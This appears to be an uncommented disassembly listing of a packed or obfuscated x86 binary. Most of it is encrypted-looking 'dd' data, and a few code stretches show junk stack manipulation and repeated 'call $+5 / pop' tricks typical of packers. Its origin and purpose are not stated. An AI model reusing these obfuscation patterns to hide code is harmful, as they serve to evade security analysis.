		dd 0BD4361CDh, 0DA6280ECh, 0F57F9D09h, 1DA2C02Ch, 0D521E04Ch
		dd 4FBB8C11h, 71DDA631h, 92FEC753h, 0B01CED74h,	3E34FFABh
		dd 0B6D018ECh, 3295A8h,	11453F35h, 0B2AAB7D6h, 0EA5627ACh
		dd 177C45CCh, 0AA73FF31h, 39E8DE5Fh, 886972E6h,	0FBA28706h
		dd 277B7944h, 0EEFBD611h, 9E81A39Bh, 0FFFECF56h, 5D74DAE3h
		dd 0F14B6EE3h, 9B6CF3F9h, 4AE4ED2Fh, 0F61BD9E0h, 5EC7FAF2h
		dd 0F0834EC2h, 6ADC140Ah, 85B7E95Dh, 12A0B4BAh,	0A6323CD0h
		dd 8C928ADDh, 0B4C23607h, 66616029h, 7714C6Eh, 95D012A0h
		dd 0B3D13D0Eh, 0E0E95D2Eh, 0E3C72A58h, 792E263Bh, 0BE72h
		dd 24327500h, 0D5D0CF98h, 0A873AADDh, 56515021h, 2B5D8F03h
		dd 11451260h, 0DDD5E2D6h, 1AECEC1Ah, 585764DCh,	1CE7D960h
		dd 0D018E2D6h, 410A949Eh, 0A1F44742h, 0C2901735h, 1B1A6D36h
		dd 0F002F6FFh, 815F8A0Dh, 0DA2C420Dh, 0B7C4D018h, 0ECF1FCBFh
		dd 0E03B282Bh, 0E3B43BE3h, 0ED7616Fh, 80B2F416h
		dd 0B88BFB5h, 0B62A3788h, 0B8885EBh, 68606D88h,	0B0ADB62h
		dd 0C1C08913h, 737243C9h, 2726EF7Bh, 822D2A09h,	88302D0Ch
		dd 82C43001h, 0EABB4250h, 0B8897DDh, 0E25A5F88h, 727B6DB6h
		dd 0F3549FF2h, 46824022h, 48B9189h, 102D3433h, 0D1000000h
		dd 409ED49Fh, 4956880Bh, 0ABA374F9h, 563D54E0h,	0D0504CDh
		dd 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h
		dd 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh, 81E38953h,	4C3h, 4EB8300h
		dd 5C241C87h, 56243C89h, 0C681E689h, 4,	4EE81h,	34870000h
		dd 2C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	609A6F3h
		pop	ebp
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	8
		pop	edx
		add	edx, ebx
		mov	[edx], ebp
		pop	edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_4F2EAD
; ---------------------------------------------------------------------------
		db 0BBh
		dd 0B2AE3DBFh, 66DA2ABh, 63B832F3h, 30609ABh, 20E0FFC5h
		dd 0F17A02A4h, 5F0DC768h, 9717D33h, 3A638BFFh, 7B30CE8Eh
		dd 270A12DCh, 86669AEDh, 9B3555C8h, 7C60E990h, 47574456h
		dd 4571AF6Ah, 0D92321EBh, 0B1682B31h, 0AD18BA95h, 0AC21AA01h
		dd 430A0F8Ch, 0CC19E7FEh, 0AC5F01EEh, 0F05249B1h, 7D5DAA4Dh
		dd 0C2543B74h, 72062A52h, 900BA14Dh, 8D7D25DFh,	9ACE78Dh
		dd 0C3BF6606h, 0A58D8985h, 6A060320h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 73B8C353h
		dd 0C7D9E7EEh, 31A6585h, 5D3006h, 0C7D98A00h, 3007185h
		dd 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 0FFDD598Bh, 31AB1B5h, 0A9958906h
		dd 0FF060320h, 3171D95h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 1515BDD2h, 31BE3C3Dh
		dd 3058DBDh, 0FF006A06h, 323A595h, 0EBC08B06h, 0FC1C2F2Ah
		dd 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h, 0A04F9C4Fh
		dd 0AB2471B9h, 0ED89762Ch, 0A9FC644Ch, 338349EFh, 0E8D0C452h
		dd 0Ah,	0CAF06344h, 89898A24h, 0AE9440Eh, 71000000h, 33ACFDF8h
		dd 0A4D7FD45h, 85095AB0h, 6033051h, 6615C281h, 0C3800000h
		dd 0B9F6h, 8BF90000h, 0EE80A3Ch, 8000000h, 1361A4B6h, 89EDB43Ch
		dd 94247C8Ah, 6880F81h,	8B000000h, 326A9B5h, 0F7815E06h
		dd 507F7B40h, 30D59D8Bh, 0EF810603h, 0C5A59A0h,	9980F781h
		dd 0FE93FFFh, 0A8000000h, 1D106B7Fh, 3916199Dh,	32CB76AEh
		dd 8057A198h, 48FE8C3h,	0E1BE660Ah, 5DB86696h, 0A8E9812Ah
		dd 0E84A24E8h, 0Fh, 0D6E64FB2h,	8DC10376h, 0C20AFC6Fh
		dd 8B2129C9h, 0C18158F0h, 4A24E8A4h, 6800Fh, 85890000h
		dd 6031CDDh, 9AECF981h,	850FFFFFh, 18h,	0ED7BE881h, 32E92F3Dh
		dd 49000000h, 58B62436h, 7EF89CCAh, 0E38BB472h,	68E0Fh
		dd 0E0810000h, 6FC0B2A2h, 0FFFF3EE9h, 0F0CB7CFFh, 5730D942h
		dd 5C1F8633h, 91299994h, 97B60D49h, 0EE88Eh, 15BC0000h
		dd 0FE74EFDEh, 0B2F629A4h, 33346BC3h, 0C18159FCh, 7211h
		dd 10E9h, 59175E00h, 4F09FA41h,	702715B7h, 508A35FCh, 1C48BA8Dh
		dd 0AE80000h, 73000000h, 0E1F08075h, 30CF2EF1h,	6810F4Dh
		dd 8B000000h, 322B9B5h,	31FF5806h, 0C1BD895Bh, 81060302h
		dd 0A047C5F3h, 5BD8B1Dh, 8106030Dh, 37F79FC3h, 21852B52h
		dd 8106031Bh, 1164D2C3h, 0BD8B533Dh, 60315D9h, 0BD8B018Fh
		dd 6032439h, 0F5D2E981h, 10E8457Fh, 42000000h, 0D464E492h
		dd 93F3BD38h, 32C79564h, 94DEBDCh, 3134DB5h, 0C1815E06h
		dd 457FF5CEh, 81FABF0Fh, 1EAh, 19850F00h, 0F5000000h, 36E9h
		dd 93C07D00h, 3584CEA3h, 4BD64502h, 2BFB300Dh, 8B8D2507h
		dd 6E8h, 687BD500h, 0FC86B4DFh,	0FF68E95Eh, 5C1AFFFFh
		dd 3FAFFE01h, 81BC95F3h, 3A239568h, 0E801547Dh,	0Fh, 64B21132h
		dd 788360CAh, 6A767FDDh, 801FBA2Fh, 0F5ED4EEh, 0D84h, 8E900h
		dd 0BB920000h, 0C60194A4h, 0C6814955h, 756Ah, 6840Fh, 0E2810000h
		dd 3763A1E3h, 0E44D4B8h, 0CBF08107h, 80070E59h,	36FF15E9h
		dd 0EE9h, 6EDE3200h, 699259F6h,	3DF62A3Ch, 5F33DA9Fh, 989BD09h
		dd 0F7810603h, 65E5607Dh, 1ABD9D8Bh, 0C7810603h, 28C89606h
		dd 11E9h, 0F95D6500h, 7FE724ADh, 0CAD34110h, 12624605h
		dd 0EF816595h, 71EC0883h, 68A0Fh, 95890000h, 60308F9h
		dd 0F2813E89h, 64F3092Bh, 0E803EE83h, 0Dh, 608BC312h, 8490737Ah
		dd 3F18E287h, 898D8962h, 5A060329h, 2820F4Eh, 0B6000000h
		dd 850F4884h, 12h, 16E58589h, 17E90603h, 0D1000000h, 83871B05h
		dd 958B9111h, 60304C5h,	0FFFF59E9h, 109C62FFh, 0C08B0BA4h
		dd 4E5BD83h, 75000603h,	39BD8309h, 60323h, 53501974h, 21B8C08Bh
		dd 89000004h, 31A9D85h,	0BF9D8D06h, 0FF0605B5h,	83585BD3h
		dd 32339BDh, 17740006h,	21B85350h, 89000004h, 31A9D85h
		dd 0AE9D8D06h, 0FF0605B2h, 8B585BD3h, 3D9D8BC0h, 0C6060313h
		dd 31BA185h, 52685606h,	0FF9CA8B8h, 32471B5h, 58858D06h
		dd 0FF06067Ch, 68046AD0h, 1000h, 8F1B5FFh, 6A0603h, 0C085D0FFh
		dd 0D850Fh, 0B80000h, 8D000000h, 371E38Dh, 8BE1FF06h, 3C38BC8h
		dd 0F8053C40h, 8B000000h, 0D3030C50h, 0F9DBD83h, 0F000603h
		dd 0E84h, 9D9D8B00h, 8B06030Fh,	30C1985h, 51038906h, 0B2858D52h
		dd 0FF060341h, 8BFA8BD0h, 8BD18BF1h, 0C6A4F3C8h, 31BA185h
		dd 39685606h, 0FFD41F6Dh, 32471B5h, 58858D06h, 0FF06067Ch
		dd 800068D0h, 6A0000h, 8BD0FF52h, 0E5BD83C0h, 60304h, 0BD830975h
		dd 6032339h, 50197400h,	0B8C08B53h, 421h, 7398589h, 9D8D0603h
		dd 605B626h, 585BD3FFh,	2339BD83h, 74000603h, 0B8535017h
		dd 421h, 7398589h, 9D8D0603h, 605B2C7h,	585BD3FFh, 9D8DC08Bh
		dd 6030F9Dh, 0C00B038Bh, 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h
		dd 12E80000h, 1F000000h, 128186CDh, 8423932h, 0B3CE9839h
		dd 99055F9Dh, 5E918h, 0FA3F0000h, 5BDF3467h, 4CC381F5h
		dd 0B200006Bh, 1AAF68F5h, 0CE800000h, 81665FCDh, 0FF756AE9h
		dd 8B665833h, 0EAE881F1h, 8155E530h, 8566D1F0h,	0AEE6814Bh
		dd 814CDD74h, 90A1ADE8h, 389F970h, 0BE9h, 0B907AF00h, 0EDF738BEh
		dd 2D25E73Ah, 0E902EB83h, 14h, 6478445Ch, 0C409E118h, 3BFBA081h
		dd 0F4FC21FEh, 0B34C82C4h, 8B664B4Bh, 1EF83F7h,	0FFA5850Fh
		dd 6656FFFFh, 0E959F18Bh, 3Bh, 0B5BD8B60h, 8306032Ah, 0C93304EFh
		dd 20BBC18Bh, 83EDB883h, 8BE04C7h, 0D1000000h, 23D21BE8h
		dd 4EC233D3h, 0FFF1850Fh, 8941FFFFh, 0F98107h, 0F000001h
		dd 0FFFFD382h, 8BC361FFh, 2AE9C8h, 4C70000h, 24h, 0E800h
		dd 815D0000h, 9B261EDh,	24448B06h, 0E5858904h, 0B8060306h
		dd 0
		dd 4D698D8Dh, 0E1FF0603h, 6754B8h, 16EB00h, 4 dup(0)
		dd 1000000h, 3D801h, 6A060900h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 4923C355h, 68B2ED3Fh
		dd 50BBECACh, 0AE8h, 0BFD47900h, 7CA0AC1Ch, 0B9372C1Ah
		dd 255525D8h, 2404895Bh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0CDC35747h, 12E31071h, 6A6DCCh, 410BA66h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD29B4C3h, 6032E85h, 8DCF8B66h, 9B40185h
		dd 0DAC28106h, 907C7D17h, 71C896BFh, 0E960504Ah, 11h, 726D567Ch
		dd 500EDD41h, 1F90B481h, 0E53226E6h, 63B96684h,	6A90612Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 7664C357h, 425A55F1h, 50A412ABh, 0BD895BF9h
		dd 603189Dh, 8950006Ah,	309A585h, 6A5B06h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 38C35343h, 1779C69Dh
		dd 13298589h, 95FF0603h, 6031DF9h, 1461BD8Bh, 860F0603h
		dd 6, 24ED8501h, 9E90603h, 6A000006h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 6BCFC352h
		dd 9DB2B1C0h, 13359529h, 0E80603h, 5D000000h, 0B406ED81h
		dd 958B0609h, 6030985h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 7EC35242h, 1E9CF0A5h,	0F12D7EBh, 38Bh
		dd 0FE8B6600h, 6880E980h, 0C878DD17h, 596DB350h, 89240481h
		dd 6A378732h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 97AAC353h, 9864F812h, 11E913h
		dd 0EECF0000h, 2C3D054Bh, 3C01AA20h, 9D614602h,	0E82DDBF5h
		dd 7, 276FFEC1h, 0BAC541CAh, 0F0F2139h,	0A595FF59h, 6A060323h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 986AC357h, 0B286B58Dh, 6A0609h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DD8A50C3h
		dd 655206C7h, 13E86D67h, 6000000h, 5B1DAE6Eh, 0ED597BC4h
		dd 65903A1Ch, 24F3A009h, 0C75A9A9Dh, 6E6F0446h,	6A6C63h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0EFEEABC3h, 13E9h, 318BB200h, 3FA4349Eh, 9BF0FA9Eh
		dd 339E9636h, 28DD631Fh, 610846C7h, 6A007373h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0F5EC352h, 686h, 3D958900h, 89060319h, 30CF9BDh, 0E9006A06h
		dd 0Dh,	7D0A39AAh, 0B22DB9E4h, 0F4D807A8h, 86858DF0h, 6A0609B2h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 41BCC356h, 2EC1BD31h, 0F900603h, 58Eh, 2AF6BA00h
		dd 0E9506338h, 13h, 89F9F152h, 0FAA4E1Eh, 0AA2D61B6h, 0F05199ECh
		dd 900CD5A8h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	0CAC35141h, 4BB03B65h, 0CEBF0FD7h, 96B2D88Ah, 66595FFh
		dd 0EF810603h, 0C4D4A3Dh, 840FC00Bh, 53h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Bh, 3AC35141h, 0B95100C5h
		dd 81022A90h, 0DC060FF2h, 379E938h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 11CCF6C3h
		dd 0A69A49C4h, 68F8D5ECh, 0EE3D1270h, 0E78EB950h, 8159778Dh
		dd 0EEBC2404h, 95FF11C2h, 60323A5h, 0F2A8EA81h,	0B58D57F5h
		dd 609B286h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0CAC35141h, 2EB20379h, 8496AC0Ah, 958BF53Dh, 6032531h
		dd 383106C7h, 13E93634h, 57000000h, 9E1C7181h, 8068E639h
		dd 49FE932Dh, 0A5F4AB8Ch, 46C7474Eh, 342D3704h,	57006A31h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 80FC12CEh, 46C752C7h, 8, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 6A10E6h, 8D8ACB80h
		dd 9B28685h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 5AA43191h, 0C721CB5Bh, 5350E9DEh
		dd 9E9h, 939FCC00h, 0BAB06490h,	895A8E3Ah, 6A2404h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 0D68CDEC3h, 55084E8Ch, 88D9533h, 0F600603h, 687h, 4DB58900h
		dd 0F8060309h, 6595FF61h, 6A060306h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 6531C352h
		dd 0E9047710h, 0Eh, 0A301BB45h,	0CE85EB34h, 2386FF56h
		dd 0C00B0F9Dh, 1E840Fh,	8D030000h, 60326A5h, 1D2E9h, 0EE900h
		dd 6BC10000h, 0D8679E22h, 0E03A0CD4h, 8EF2ABE2h, 0D6549A68h
		dd 0E85250CCh, 5, 26E09EC5h, 820F84h, 59000000h, 0E960310Fh
		dd 12h,	0B5E6FCEBh, 0BA4E2E8Eh,	76508D28h, 28D94AD5h, 5A61FCA2h
		dd 24048158h, 3329AC92h, 95FFCA8Bh, 60323A5h, 12E9h, 0A1C69500h
		dd 91DEBF06h, 0C7EDB290h, 5D16051Ah, 8DEF93ACh,	9B286B5h
		dd 0ABBF6606h, 4606C7A3h, 8B656C69h, 32581BDh, 446C706h
		dd 636E6F6Dh, 17840Fh, 12E90000h, 0C9000000h, 460C40D2h
		dd 0F8B604DBh, 0D83EC648h, 58A0A8F5h, 846C704h,	7373616Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D2C35242h
		dd 0F19D8968h, 0BB060318h, 24E13AF0h, 0C46C7h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0E9DFC352h, 18B96051h, 6A479BE7h,	57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D339A5B1h, 0A3C76CE2h, 265D9D89h, 858D0603h, 609B286h
		dd 8E8h, 7DDBE500h, 8374E24Bh, 0C9EF81ACh, 593386D5h, 2FA18D01h
		dd 8A900603h, 525050CFh, 310FDA8Ah, 5ACA8B66h, 9D8B9058h
		dd 60302D9h, 66595FFh, 0EE80603h, 0E3000000h, 0F59743A5h
		dd 944B4F6Dh, 290A6DBEh, 998D89ACh, 5906031Fh, 840FC00Bh
		dd 2Eh,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
		dd 0DAC35747h, 132B47F2h, 67B9F92Eh, 0E976489Eh, 1Bh, 5BE9CF8Bh
		dd 89FFFFFAh, 30EADB5h,	0B5096006h, 6030F11h, 8C5958Bh
		dd 8D610603h, 371E3B5h,	0B842B706h, 0
		dd 2D9D8B60h, 0F8060324h, 6E961h, 0FF1A0000h, 0A70CCFBAh
		dd 0B509E6FFh, 60304FDh, 8E8C18Bh, 9E000000h, 0E8F1D336h
		dd 8B2629B4h, 300A1B5h,	0B8665F06h, 0C7811EDFh,	600Dh
		dd 12840Fh, 6E80000h, 2D000000h, 7AE3388Ah, 0B5858994h
		dd 5E06032Dh, 17D768h, 0C8816600h, 665B1BF2h, 0F8BF18Bh
		dd 88E1D281h, 0E9810480h, 5D418991h, 0C18165B2h, 3F6891DDh
		dd 0CE28166h, 5EE98101h, 294FCFEEh, 30E4595h, 8B0F8906h
		dd 31A2595h, 4EF8306h, 38F0Fh, 8B660000h, 1EB81F1h, 0F000000h
		dd 1185h, 0E5958B00h, 0E9060325h, 24h, 0D2B097Eh, 0B58B6F10h
		dd 6031A19h, 0FFFF9DE9h, 0EEB546FFh, 0A5FC8091h, 523CB1C6h
		dd 2D8C4B47h, 4473EEE7h, 0BB718D8Dh, 6A0609h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0E6814BC3h
		dd 68740F54h, 20A58D89h, 6A0603h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 56C488C3h, 0F60A0E5h
		dd 285h, 81FB8B00h, 1C1388C1h, 85C76147h, 6031A65h, 7504h
		dd 18599523h, 85C70603h, 6030071h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 2EC35545h
		dd 0D4059A4h, 13607AC7h, 0EA9B5FFh, 0BF0F0603h,	1D95FFFAh
		dd 6A060317h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 2356C357h, 6AE5C42Dh, 0A595FF00h
		dd 8B060323h, 625AEBC0h, 4826CC7Dh, 0CAA12254h,	8BB10F3Bh
		dd 23C1412Eh, 0B23EE046h, 4142C89Bh, 0C2D53E0Dh, 0E991C95Ah
		dd 0DED5A203h, 1F4CAE2Fh, 0BFBDCCC2h, 9804750Fh, 0D07FA7B3h
		dd 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h, 9CF28166h, 526BD180h
		dd 616EE34Ch, 3A5ADD35h, 0E137422Eh, 45466EAEh,	0CDCAFE52h
		dd 0A2A804CFh, 88A4047h, 0ABA804CCh, 0E075EAD5h, 0A8A804CCh
		dd 0BA8A4044h, 557AE5Dh, 0D08A4045h, 0ABA804CDh, 9B75EAD5h
		dd 4BA804CDh, 258A405Ah, 0F5A804D2h, 9F8A405Ah,	0ABA804D2h
		dd 2575EAD5h, 0E853D42Fh, 0C0031323h, 52A1EA70h, 0F8E390A7h
		dd 0D12157ABh, 4383AEFCh, 0E968D42Fh, 0C0031323h, 52A1EA78h
		dd 0FB9290A7h, 0D12157ABh, 4383AEC8h, 0EAC7D42Fh, 0C0031323h
		dd 52A1EA44h, 0FB4E90A7h, 0D12157ABh, 4383AEC4h, 0EBA0D42Fh
		dd 0C0031323h, 52A1EA50h, 0FADB90A7h, 0D12157ABh, 4383AED0h
		dd 0EB3AD42Fh, 0C0031323h, 52A1EA5Ch, 0FA5990A7h, 0D12157ABh
		dd 4383A928h, 94BCD42Fh, 0C0031323h, 52A1EDA4h,	85C790A7h
		dd 0D12157ABh, 4383A920h, 5012B8C3h, 0CEDF152Ah, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 4C36A0C0h, 0A8ED96A4h, 458A152Ah
		dd 67A02429h, 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h
		dd 0CE75EAD5h, 113AAE63h, 848C160Bh, 11AB5342h,	55FFEA22h
		dd 0ABA4245Dh, 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h
		dd 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch
		dd 660351A2h, 0EE27BFEAh, 971DDB2Fh, 94751323h,	0D9020112h
		dd 4C49A0A0h, 0EC79AEA4h, 41AE51A1h, 0E122DC09h, 0BA8C1CE9h
		dd 0DF103773h, 0C821732Ah, 5D6BE428h, 0FD5BEA2Ch, 508C152Bh
		dd 0F0009881h, 0ABAE5861h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h
		dd 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h
		dd 4C3760C0h, 5CDDDAA4h, 828668A1h, 54A8ADE7h, 0BACC152Ah
		dd 57BEF030h, 0CE529E2Ch, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h
		dd 4C49A0A0h, 0D79AEA4h, 2320949Ah, 328C551Ah, 6E218481h
		dd 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h
		dd 458A15C2h, 0BE290BA2h, 4383A8E6h, 0DFA02429h, 4D1957h
		dd 54A8515Eh, 0D775532Ah, 52AB4703h, 0CE19CDA1h, 979BFC69h
		dd 0EFE2A5B9h, 0D9F9FA31h, 4C49A0A0h, 0D79AEA4h, 2320949Ah
		dd 328C651Ah, 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 953BFDA2h, 97B91DC9h, 0DE049191h, 454A38F2h,	0A82851A2h
		dd 5E0E1AD5h, 0EDA851A2h, 458A1523h, 862DA055h,	45869025h
		dd 0A32851A2h, 8E4B7332h, 972337AAh, 38A1BE4Ch,	0A8D5D8AEh
		dd 0B9CF9E4Bh, 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh
		dd 0A8ED96AEh, 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h
		dd 458AD507h, 0AB54D1A2h, 45939125h, 5D1151A2h,	0B28A152Ah
		dd 5B7AD453h, 458A1FAFh, 5610E0A2h, 0EF4B93E2h,	7F039191h
		dd 38031957h, 1123305Eh, 4D48DCD6h, 0B82304A2h,	2576D1A9h
		dd 0DFA02429h, 4D1957h,	54A8515Eh, 9D00B92Ah, 0D4A7B222h
		dd 860085E1h, 0E122DC08h, 0BA8C1CE9h, 0FEF8E173h, 863F9FA7h
		dd 855757ABh, 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh
		dd 0A901402Ah, 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h
		dd 54AFE9A2h, 0D775152Ah, 52AB70E7h, 0C8204526h, 5D6BE428h
		dd 0F55BEA2Ch, 949BFB2Bh, 2E853186h, 50AC5962h,	0EFAEA580h
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 4DFF9E4Ah, 93A42C29h, 458AE96Fh, 0FE0451A2h,	532B87D5h
		dd 8C2357A1h, 0EF491786h, 971DDB2Fh, 94751323h,	0BD28E9C4h
		dd 8600BE4Ch, 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h
		dd 902BBD29h, 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h
		dd 0E418EA80h, 0DFAE52B4h, 8558B9E2h, 0E132DC08h, 0BA8C1CE9h
		dd 94103771h, 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h
		dd 4582D7E3h, 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h
		dd 54A851A2h, 0D775BF86h, 52AB4703h, 7726DDA1h,	0CE25FB63h
		dd 4383D69Fh, 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h
		dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h,	0DFA02429h
		dd 4D1957h, 54A8515Eh, 7732732Ah, 0D903376Bh, 4C49A0B0h
		dd 327BAEA4h, 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh
		dd 8743E96Fh, 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h
		dd 54A8ADE7h, 0FDEC152Ah, 0FFCEB824h, 863F8FA7h, 875757ABh
		dd 320A09Ah, 0CE25FB0Eh, 4383D69Fh, 0ECCE825Dh,	0EEECD8ACh
		dd 0DDA42C89h, 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 4C4A88C0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 4383AEF8h, 0FD32DCF1h, 0BA8C1C96h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 5D13B338h
		dd 0DF07462Ch, 52A1ED0Bh, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 0FE648FA7h, 0D9FB57ABh, 4C36BCB0h, 0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 0AE32DCAAh, 168C1C91h
		dd 0E801CB2Fh, 96751323h, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 5E800h, 97080000h, 0F109660h, 815EDBB7h
		dd 0A512ACE9h, 26C68112h, 0E900006Fh, 5, 29BA893Dh, 3A3BA3Ch
		dd 0EA815290h, 528FE7FEh, 8BDBB70Fh, 0E3816606h, 0E8818CEAh
		dd 488DB63Eh, 0DE857h, 0D3900000h, 63EB2AEBh, 0D9E148C9h
		dd 0B33AC915h, 815B5BBCh, 488EBDE8h, 0A9E8816Eh, 0F24BAF9h
		dd 18Eh, 689FC00h, 930B966h, 6604EE83h,	0EA81FA8Bh, 1
		dd 0FFB1850Fh, 0FE8FFFFh, 62000000h, 0DB7313BEh, 5BD74A33h
		dd 66F1A996h, 11BF01E2h, 5F56727Dh, 75FDED55h, 76F67A5Eh
		dd 56E669A4h, 0CBFD49BCh, 29FD2FBDh, 6EFD2F93h,	0CCFD2F84h
		dd 0BEFD2F0Dh, 94FD2FC8h, 7DFD2F2Ah, 52FD2F5Ah,	49FD2FE2h
		dd 74FD2FBEh, 4DFD2F93h, 0A6FD2F84h, 3FD2F0Fh, 0E0FD2FC9h
		dd 0CDFD2F2Bh, 89FD2F5Ah, 0DDFD2FE1h, 9DFD2FBDh, 95358A25h
		dd 76D6A222h, 5CDE714Ah, 5CF44BBDh, 75FD7A5Ah, 75F57227h
		dd 74FD7997h, 73FD78CBh, 74F57DEDh, 74FC7BF3h, 75FC7B78h
		dd 75FD7ABCh, 76FD7A5Eh, 75A87F0Dh, 75A87FC5h, 75FD7ACBh
		dd 74FC7BE4h, 74FC7BF3h, 75F8B290h, 0F0701ABCh,	73F4BC45h
		dd 0B7AFFFA6h, 0F0707C9Eh, 73F4BCFAh, 0B7EFFF6Ch, 0F0707CFBh
		dd 73F4BC16h, 0B7B3FF35h, 0F0707C57h, 73F4BFE0h, 0B7EBFF1Eh
		dd 0F0707CC2h, 73F4BF6Bh, 0B7E7FF7Bh, 0F0707C70h, 73F4BE90h
		dd 0B7E3FFD7h, 0F0707C26h, 73F4BEA9h, 0B7DFFF42h, 0F0707CECh
		dd 73F4BEA6h, 0B7DBFFF0h, 0F0707CB5h, 73F4BEF1h, 0B7CFFFA6h
		dd 0F0707C9Eh, 73F4BEB0h
		dd 0B7D7FF6Ch, 0F0707CFBh, 73F4BEE3h, 0B7D3FF35h, 0F0707C57h
		dd 73F4BE80h, 0B7CFFF1Eh, 0F0707CC2h, 73F4BE0Ch, 0B7BFFF7Bh
		dd 0F0707C70h, 73F4BFB4h, 0B7BBFFD7h, 0F0707C26h, 73F4BFBCh
		dd 0B7B7FF42h, 0F0707CECh, 73F4BF86h, 0B7CBFFF0h, 0F0707CB5h
